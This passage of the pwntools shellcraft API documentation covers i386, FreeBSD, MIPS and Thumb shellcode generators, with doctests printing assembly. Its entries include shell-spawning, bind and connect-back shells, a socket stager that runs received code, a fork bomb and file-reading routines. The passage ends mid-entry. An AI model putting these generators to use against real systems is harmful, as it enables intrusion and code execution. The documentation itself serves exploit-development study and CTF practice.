- **fd** (*int*) – *fd*
- **buf** (*void*) – *buf*
- **nbytes** (*size_t*) – *nbytes*

`pwnlib.shellcraft.i386.linux.recvsize` (*sock, reg='ecx'*)
Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param *sock*, the socket to read the payload from.: :param *reg*, the place to put the size: :type *reg*, the place to put the size: default `ecx`

Leaves socket in `ebx`

`pwnlib.shellcraft.i386.linux.setregid` (*gid='egid'*)
Args: [*gid (imm/reg) = egid*] Sets the real and effective group id.

`pwnlib.shellcraft.i386.linux.setreuid` (*uid='euid'*)
Args: [*uid (imm/reg) = euid*] Sets the real and effective user id.

`pwnlib.shellcraft.i386.linux.sh`()
Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.i386.linux.socket` (*network='ipv4', proto='tcp'*)
Creates a new socket

`pwnlib.shellcraft.i386.linux.socketcall` (*socketcall, socket, sockaddr, sockaddr_len*)
Invokes a socket call (e.g. `socket`, `send`, `recv`, `shutdown`)

`pwnlib.shellcraft.i386.linux.stage` (*fd=0, length=None*)
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to `recv` data from. Default is `stdin` (0).

- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

pwnlib.shellcraft.i386.linux.**stager** (*sock, size, handle_error=False, tiny=False*)

Recives a fixed sized payload into a mmaped buffer Useful in conjunction with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

Example

```
>>> stage_2 = asm(shellcraft.echo('hello') + "\n" + shellcraft.syscalls.exit(42))
>>> p = run_assembly(shellcraft.stager(0, len(stage_2)))
>>> for c in bytearray(stage_2):
...     p.write(bytearray((c,)))
>>> p.wait_for_close()
>>> p.poll()
42
>>> p.recvall()
b'hello'
```

pwnlib.shellcraft.i386.linux.**syscall** (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [*syscall_number, *args*] Does a syscall

Any of the arguments can be expressions to be evaluated by pwnlib.constants.eval().

Example

```
>>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).
↳rstrip())
/* call execve(1, 'esp', 2, 0) */
push SYS_execve /* 0xb */
pop eax
push 1
pop ebx
mov ecx, esp
push 2
pop edx
xor esi, esi
int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).
↳rstrip())
/* call execve(2, 1, 0, 0x14) */
push SYS_execve /* 0xb */
pop eax
```

(continues on next page)

(continued from previous page)

```

push 2
pop ebx
push 1
pop ecx
push 0x14
pop esi
cdq /* edx=0 */
int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall().rstrip())
/* call syscall() */
int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip())
/* call syscall('eax', 'ebx', 'ecx') */
/* setregs noop */
int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip())
/* call syscall('ebp', ?, ?, 1) */
mov eax, ebp
push 1
pop edx
int 0x80
>>> print(pwnlib.shellcraft.i386.linux.syscall(
...     'SYS_mmap2', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip())
/* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
xor eax, eax
mov al, 0xc0
xor ebp, ebp
xor ebx, ebx
xor ecx, ecx
mov ch, 0x1000 >> 8
push -1
pop edi
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop edx
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop esi
int 0x80
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f6e
push 0x77702f65
push 0x6d6f682f
mov ebx, esp
xor ecx, ecx
xor edx, edx
/* call open() */
push SYS_open /* 5 */
pop eax
int 0x80

```

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

pwnlib.shellcraft.i386.freebsd.**acceptloop_ipv4**(*port*)

Args: *port* Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.freebsd.**i386_to_amd64**()

Returns code to switch from i386 to amd64 mode.

pwnlib.shellcraft.i386.freebsd.**sh**()

Execute /bin/sh

pwnlib.shellcraft.i386.freebsd.**syscall**(*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None*)

Args: [*syscall_number*, **args*] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 1, 'esp', 2, 0).
↳rstrip())
/* call execve(1, 'esp', 2, 0) */
push SYS_execve /* 0x3b */
pop eax
/* push 0 */
push 1
dec byte ptr [esp]
/* push 2 */
push 2
push esp
/* push 1 */
push 1
/* push padding DWORD */
push eax
int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('SYS_execve', 2, 1, 0, 20).
↳rstrip())
/* call execve(2, 1, 0, 0x14) */
push SYS_execve /* 0x3b */
pop eax
/* push 0x14 */
push 0x14
/* push 0 */
push 1
dec byte ptr [esp]
/* push 1 */
push 1
/* push 2 */
push 2
/* push padding DWORD */
push eax
int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall().rstrip())
/* call syscall() */
/* setregs noop */
```

(continues on next page)

(continued from previous page)

```

/* push padding DWORD */
push eax
int 0x80
>>> print(pwnlib.shellcraft.i386.freebsd.syscall('eax', 'ebx', 'ecx').rstrip())
/* call syscall('eax', 'ebx', 'ecx') */
/* setregs noop */
push ecx
push ebx
/* push padding DWORD */
push eax
int 0x80

```

pwnlib.shellcraft.mips — Shellcode for MIPS

pwnlib.shellcraft.mips

Shellcraft module containing generic MIPS shellcodes.

pwnlib.shellcraft.mips.**mov**(*dst*, *src*)

Move *src* into *dst* without newlines and null bytes.

Registers \$t8 and \$t9 are not guaranteed to be preserved.

If *src* is a string that is not a register, then it will locally set *context.arch* to *'mips'* and use *pwnlib.constants.eval()* to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters

- **dst** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

Example

```

>>> print(shellcraft.mips.mov('$t0', 0).rstrip())
    slti $t0, $zero, 0xFFFF /* $t0 = 0 */
>>> print(shellcraft.mips.mov('$t2', 0).rstrip())
    xor $t2, $t2, $t2 /* $t2 = 0 */
>>> print(shellcraft.mips.mov('$t0', 0xcafebabe).rstrip())
    li $t0, 0xcafebabe
>>> print(shellcraft.mips.mov('$t2', 0xcafebabe).rstrip())
    li $t9, 0xcafebabe
    add $t2, $t9, $zero
>>> print(shellcraft.mips.mov('$s0', 0xca0000be).rstrip())
    li $t9, ~0xca0000be
    not $s0, $t9
>>> print(shellcraft.mips.mov('$s0', 0xca0000ff).rstrip())
    li $t9, 0x1010101 ^ 0xca0000ff
    li $s0, 0x1010101
    xor $s0, $t9, $s0
>>> print(shellcraft.mips.mov('$t9', 0xca0000be).rstrip())
    li $t9, ~0xca0000be
    not $t9, $t9
>>> print(shellcraft.mips.mov('$t2', 0xca0000be).rstrip())

```

(continues on next page)

(continued from previous page)

```

li $t9, ~0xca0000be
not $t9, $t9
add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print(shellcraft.mips.mov('$t2', 0xca0000ff).rstrip())
li $t8, 0x1010101 ^ 0xca0000ff
li $t9, 0x1010101
xor $t9, $t8, $t9
add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print(shellcraft.mips.mov('$a0', '$t2').rstrip())
add $a0, $t2, $0 /* mov $a0, $t2 */
>>> print(shellcraft.mips.mov('$a0', '$t8').rstrip())
sw $t8, -4($sp) /* mov $a0, $t8 */
lw $a0, -4($sp)

```

pwnlib.shellcraft.mips.**nop**()
MIPS nop instruction.

pwnlib.shellcraft.mips.**push**(value)
Pushes a value onto the stack.

pwnlib.shellcraft.mips.**pushstr**(string, append_null=True)
Pushes a string onto the stack without using null bytes or newline characters.

Example

```

>>> print(shellcraft.mips.pushstr('').rstrip())
/* push b'\x00' */
sw $zero, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('a').rstrip())
/* push b'a\x00' */
li $t9, ~0x61
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aa').rstrip())
/* push b'aa\x00' */
ori $t1, $zero, 24929
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
li $t9, ~0x616161
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)
sw $zero, -4($sp)
addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaaa').rstrip())
/* push b'aaaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)

```

(continues on next page)

(continued from previous page)

```

    li $t9, ~0x61
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -8
>>> print(shellcraft.mips.pushstr('aaaa', append_null = False).rstrip())
/* push b'aaaa' */
    li $t1, 0x61616161
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(shellcraft.mips.pushstr(b'\xc3', append_null = False).rstrip())
/* push b'\xc3' */
    li $t9, ~0xc3
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -4
>>> print(enhex(asm(shellcraft.mips.pushstr("/bin/sh"))))
696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27
>>> print(enhex(asm(shellcraft.mips.pushstr(""))))
fcffa0affcfffbd27
>>> print(enhex(asm(shellcraft.mips.pushstr("\x00", False))))
fcffa0affcfffbd27

```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwnlib.shellcraft.mips.pushstr_array` (*reg*, *array*)
Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str*, *list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.mips.setregs` (*reg_context*, *stack_allowed=True*)
Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```

>>> print(shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip())
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */

```

(continues on next page)

(continued from previous page)

```

    li $t9, ~1
    not $t0, $t9
>>> print(shellcraft.setregs({'$a0': '$a1', '$a1': '$a0', '$a2': '$a1'}).rstrip())
    sw $a1, -4($sp) /* mov $a2, $a1 */
    lw $a2, -4($sp)
    xor $a1, $a1, $a0 /* xchg $a1, $a0 */
    xor $a0, $a1, $a0
    xor $a1, $a1, $a0

```

`pwnlib.shellcraft.mips.trap()`

A trap instruction.

`pwnlib.shellcraft.mips.linux`

Shellcraft module containing MIPS shellcodes for Linux.

`pwnlib.shellcraft.mips.linux.bindsh` (*port*, *network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.mips.linux.cat` (*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```

>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> asm = shellcraft.mips.linux.cat(f)
>>> asm += shellcraft.mips.linux.exit(0)
>>> run_assembly(asm).recvall()
b'FLAG'

```

`pwnlib.shellcraft.mips.linux.connect` (*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in `$s0`.

`pwnlib.shellcraft.mips.linux.dupio` (*sock='\$s0'*)

Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.mips.linux.dupsh` (*sock='\$s0'*)

Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.mips.linux.echo` (*string*, *sock=1*)

Writes a string to a file descriptor

`pwnlib.shellcraft.mips.linux.findpeer` (*port*)

Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in `$s0`.

`pwnlib.shellcraft.mips.linux.findpeersh` (*port*)

Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.mips.linux.forkbomb` ()

Performs a forkbomb attack.

`pwnlib.shellcraft.mips.linux.forkexit` ()

Attempts to fork. If the fork is successful, the parent exits.

```
pwnlib.shellcraft.mips.linux.killparent()
```

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

```
pwnlib.shellcraft.mips.linux.listen(port, network)
```

Listens on a TCP port, accept a client and leave his socket in \$s0. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

```
pwnlib.shellcraft.mips.linux.readfile(path, dst='$s0')
```

Args: [path, dst (imm/reg) = \$s0] Opens the specified file path and sends its content to the specified file descriptor.

```
pwnlib.shellcraft.mips.linux.sh()
```

Execute /bin/sh

Example

```
>>> p = run_assembly(shellcraft.mips.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

```
pwnlib.shellcraft.mips.linux.stager(sock, size)
```

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in \$s0.

```
pwnlib.shellcraft.mips.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None,
                                     arg3=None, arg4=None, arg5=None)
```

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 1, '$sp', 2, 0).
↳rstrip())
/* call execve(1, '$sp', 2, 0) */
li $t9, ~1
not $a0, $t9
add $a1, $sp, $0 /* mov $a1, $sp */
li $t9, ~2
not $a2, $t9
slti $a3, $zero, 0xFFFF /* $a3 = 0 */
ori $v0, $zero, SYS_execve
syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 2, 1, 0, 20).
↳rstrip())
/* call execve(2, 1, 0, 0x14) */
li $t9, ~2
not $a0, $t9
li $t9, ~1
not $a1, $t9
slti $a2, $zero, 0xFFFF /* $a2 = 0 */
li $t9, ~0x14
not $a3, $t9
ori $v0, $zero, SYS_execve
syscall 0x40404
```

(continues on next page)

(continued from previous page)

```
>>> print(pwnlib.shellcraft.mips.linux.syscall().rstrip())
/* call syscall() */
syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('$v0', '$a0', '$a1').rstrip())
/* call syscall('$v0', '$a0', '$a1') */
/* setregs noop */
syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall('$a3', None, None, 1).rstrip())
/* call syscall('$a3', ?, ?, 1) */
li $t9, ~1
not $a2, $t9
sw $a3, -4($sp) /* mov $v0, $a3 */
lw $v0, -4($sp)
syscall 0x40404
>>> print(pwnlib.shellcraft.mips.linux.syscall(
...     'SYS_mmap2', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip())
/* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
slli $a0, $zero, 0xFFFF /* $a0 = 0 */
li $t9, ~0x1000
not $a1, $t9
li $t9, ~(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
not $a2, $t9
ori $a3, $zero, (MAP_PRIVATE | MAP_ANONYMOUS)
ori $v0, $zero, SYS_mmap2
syscall 0x40404
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
li $t1, 0x6d6f682f
sw $t1, -16($sp)
li $t1, 0x77702f65
sw $t1, -12($sp)
li $t1, 0x6c662f6e
sw $t1, -8($sp)
ori $t1, $zero, 26465
sw $t1, -4($sp)
addiu $sp, $sp, -16
add $a0, $sp, $0 /* mov $a0, $sp */
slli $a1, $zero, 0xFFFF /* $a1 = 0 */
slli $a2, $zero, 0xFFFF /* $a2 = 0 */
/* call open() */
ori $v0, $zero, SYS_open
syscall 0x40404
```

pwnlib.regsort — Register sorting

Topographical sort

pwnlib.regsort.**check_cycle**(reg, assignments)

Walk down the assignment list of a register, return the path walked if it is encountered again.

Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

```
>>> check_cycle('a', {'a': 1})
[]
>>> check_cycle('a', {'a': 'a'})
['a']
>>> check_cycle('a', {'a': 'b', 'b': 'a'})
['a', 'b']
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
[]
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
['a', 'b', 'c', 'd']
```

`pwnlib.regsort.extract_dependencies` (*reg, assignments*)
Return a list of all registers which directly depend on the specified register.

Example

```
>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']
```

`pwnlib.regsort.regsort` (*in_out, all_regs, tmp=None, xchg=True, randomize=None*)
Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

- If `xchg` is `True`, it is assumed that dependency cycles can be broken by swapping the contents of two register (a la the `xchg` instruction on i386).
- If `xchg` is not set, but not all destination registers in `in_out` are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.
- If `xchg` is not set, and all registers are involved in a dependency cycle, the named register `temporary` is used as a temporary register.
- If the dependency cycle cannot be resolved as described above, an exception is raised.

Parameters

- **`in_out`** (*dict*) – Dictionary of desired register states. Keys are registers, values are either registers or any other value.
- **`all_regs`** (*list*) – List of all possible registers. Used to determine which values in `in_out` are registers, versus regular values.
- **`tmp`** (*obj, str*) – Named register (or other sentinel value) to use as a temporary register. If `tmp` is a named register **and** appears as a source value in `in_out`, depen-

dependencies are handled appropriately. `tmp` cannot be a destination register in `in_out`. If `bool(tmp)==True`, this mode is enabled.

- **xchg** (*obj*) – Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If `bool(xchg)==False`, this mode is disabled.
- **random** (*bool*) – Randomize as much as possible about the order of registers.

Returns

A list of tuples of (`src`, `dest`).

Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.

If `xchg` is `True` and it is used to break a dependency cycle, then `reg_name` will be `None` and `value` will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X') #doctest: +NORMALIZE_WHITESPACE
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R) #doctest: +NORMALIZE_WHITESPACE
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R) #doctest: +NORMALIZE_WHITESPACE
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R) #doctest: +NORMALIZE_WHITESPACE
[('mov', 'c', 'b'),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='y', xchg=False) #doctest: _
↪+NORMALIZE_WHITESPACE
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='x', xchg=False) #doctest: _
↪+ELLIPSIS
Traceback (most recent call last):
...
PwnlibException: Cannot break dependency cycles ...
>>> regsort({'a': 'b', 'b': 'c', 'c': 'a', 'x': '1', 'y': 'z', 'z': 'c'}, R) #doctest: _
↪+NORMALIZE_WHITESPACE
[('mov', 'x', '1'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
```

(continues on next page)

(continued from previous page)

```

('xchg', 'b', 'c')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, tmp='x')
↪#doctest: +NORMALIZE_WHITESPACE
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
>>> regsort({'a':'b','b':'c','c':'a','x':'1','y':'z','z':'c'}, R, xchg=0)
↪#doctest: +NORMALIZE_WHITESPACE
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', '1')]
>>> regsort({'a': 'b', 'b': 'c'}, ['a','b','c'], xchg=0)
[('mov', 'a', 'b'), ('mov', 'b', 'c')]

```

`pwnlib.regsort.resolve_order(reg, deps)`

Resolve the order of all dependencies starting at a given register.

Example

```

>>> want = {'a': 1, 'b': 'c', 'c': 'd', 'd': 7, 'x': 'd'}
>>> deps = {'a': [], 'b': [], 'c': ['b'], 'd': ['c', 'x'], 'x': []}
>>> resolve_order('a', deps)
['a']
>>> resolve_order('b', deps)
['b']
>>> resolve_order('c', deps)
['b', 'c']
>>> resolve_order('d', deps)
['b', 'c', 'x', 'd']

```

pwnlib.shellcraft.thumb — Shellcode for Thumb Mode

pwnlib.shellcraft.thumb

Shellcraft module containing generic thumb little endian shellcodes.

`pwnlib.shellcraft.thumb.crash()`
 Crash.

Example

```

>>> run_assembly(shellcraft.crash()).poll(True) < 0
True

```

`pwnlib.shellcraft.thumb.infloop()`

An infinite loop.

`pwnlib.shellcraft.thumb.itoa(v, buffer='sp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v**(*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.thumb.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.thumb.itoa('r0')
>>> sc += shellcraft.thumb.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.thumb.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.thumb.mov(dst, src)`

Returns THUMB code for moving the specified source value into the specified destination register.

If *src* is a string that is not a register, then it will locally set `context.arch` to `'thumb'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```
>>> print(shellcraft.thumb.mov('r1', 'r2').rstrip())
mov r1, r2
>>> print(shellcraft.thumb.mov('r1', 0).rstrip())
eor r1, r1
>>> print(shellcraft.thumb.mov('r1', 10).rstrip())
mov r1, #0xa + 1
sub r1, r1, 1
>>> print(shellcraft.thumb.mov('r1', 17).rstrip())
mov r1, #0x11
>>> print(shellcraft.thumb.mov('r1', 'r1').rstrip())
/* moving r1 into r1, but this is a no-op */
>>> print(shellcraft.thumb.mov('r1', 512).rstrip())
mov r1, #0x200
>>> print(shellcraft.thumb.mov('r1', 0x10000001).rstrip())
mov r1, #(0x10000001 >> 28)
lsl r1, #28
add r1, #(0x10000001 & 0xff)
```

(continues on next page)

(continued from previous page)

```
>>> print(shellcraft.thumb.mov('r1', 0xdead0000).rstrip())
mov r1, #(0xdead0000 >> 25)
lsl r1, #(25 - 16)
add r1, #((0xdead0000 >> 16) & 0xff)
lsl r1, #16
>>> print(shellcraft.thumb.mov('r1', 0xdead00ff).rstrip())
ldr r1, value_...
b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
mov r1, #SYS_execve /* 0xb */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())
mov r1, #SYS_execve /* 0x3b */
>>> with context.local(os = 'linux'):
...     print(shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↳rstrip())
mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

pwnlib.shellcraft.thumb.**nop**()

A nop instruction.

pwnlib.shellcraft.thumb.**popad**()

Pop all of the registers onto the stack which i386 popad does, in the same order.

pwnlib.shellcraft.thumb.**push**(value)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with `context.arch = 'thumb'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters **value** (*int*, *str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.thumb.push('r0').rstrip())
push {r0}
>>> print(pwnlib.shellcraft.thumb.push(0).rstrip())
/* push 0 */
eor r7, r7
push {r7}
>>> print(pwnlib.shellcraft.thumb.push(1).rstrip())
/* push 1 */
mov r7, #1
push {r7}
>>> print(pwnlib.shellcraft.thumb.push(256).rstrip())
/* push 256 */
mov r7, #0x100
push {r7}
>>> print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
mov r7, #0xb
push {r7}
```

(continues on next page)

(continued from previous page)

```
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.thumb.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
mov r7, #0x3b
push {r7}
```

`pwnlib.shellcraft.thumb.pushad()`

Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.thumb.pushstr(string, append_null=True, register='r7')`

Pushes a string onto the stack without using null bytes or newline characters.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
...
↪ '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4
↪ ',
...
↪ '87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b4
↪ ']
True
>>> print(shellcraft.pushstr('abc').rstrip()) #doctest: +ELLIPSIS
/* push b'abc\x00' */
ldr r7, value_...
b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print(enhex(asm(shellcraft.pushstr('\x00', False))))
87ea070780b4
```

`pwnlib.shellcraft.thumb.pushstr_array(reg, array)`

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.thumb.ret(return_value=None)`

A single-byte RET instruction.

Parameters `return_value` – Value to return

`pwnlib.shellcraft.thumb.setregs(reg_context, stack_allowed=True)`

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip())
mov r0, #1
mov r2, r3
>>> print(shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip())
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1
```

`pwnlib.shellcraft.thumb.to_arm` (*reg=None, avoid=[]*)

Go from THUMB to ARM mode.

`pwnlib.shellcraft.thumb.trap` ()

A trap instruction.

`pwnlib.shellcraft.thumb.udiv_10` (*N*)

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.thumb.linux`

Shellcraft module containing THUMB shellcodes for Linux.

`pwnlib.shellcraft.thumb.linux.bindsh` (*port, network*)

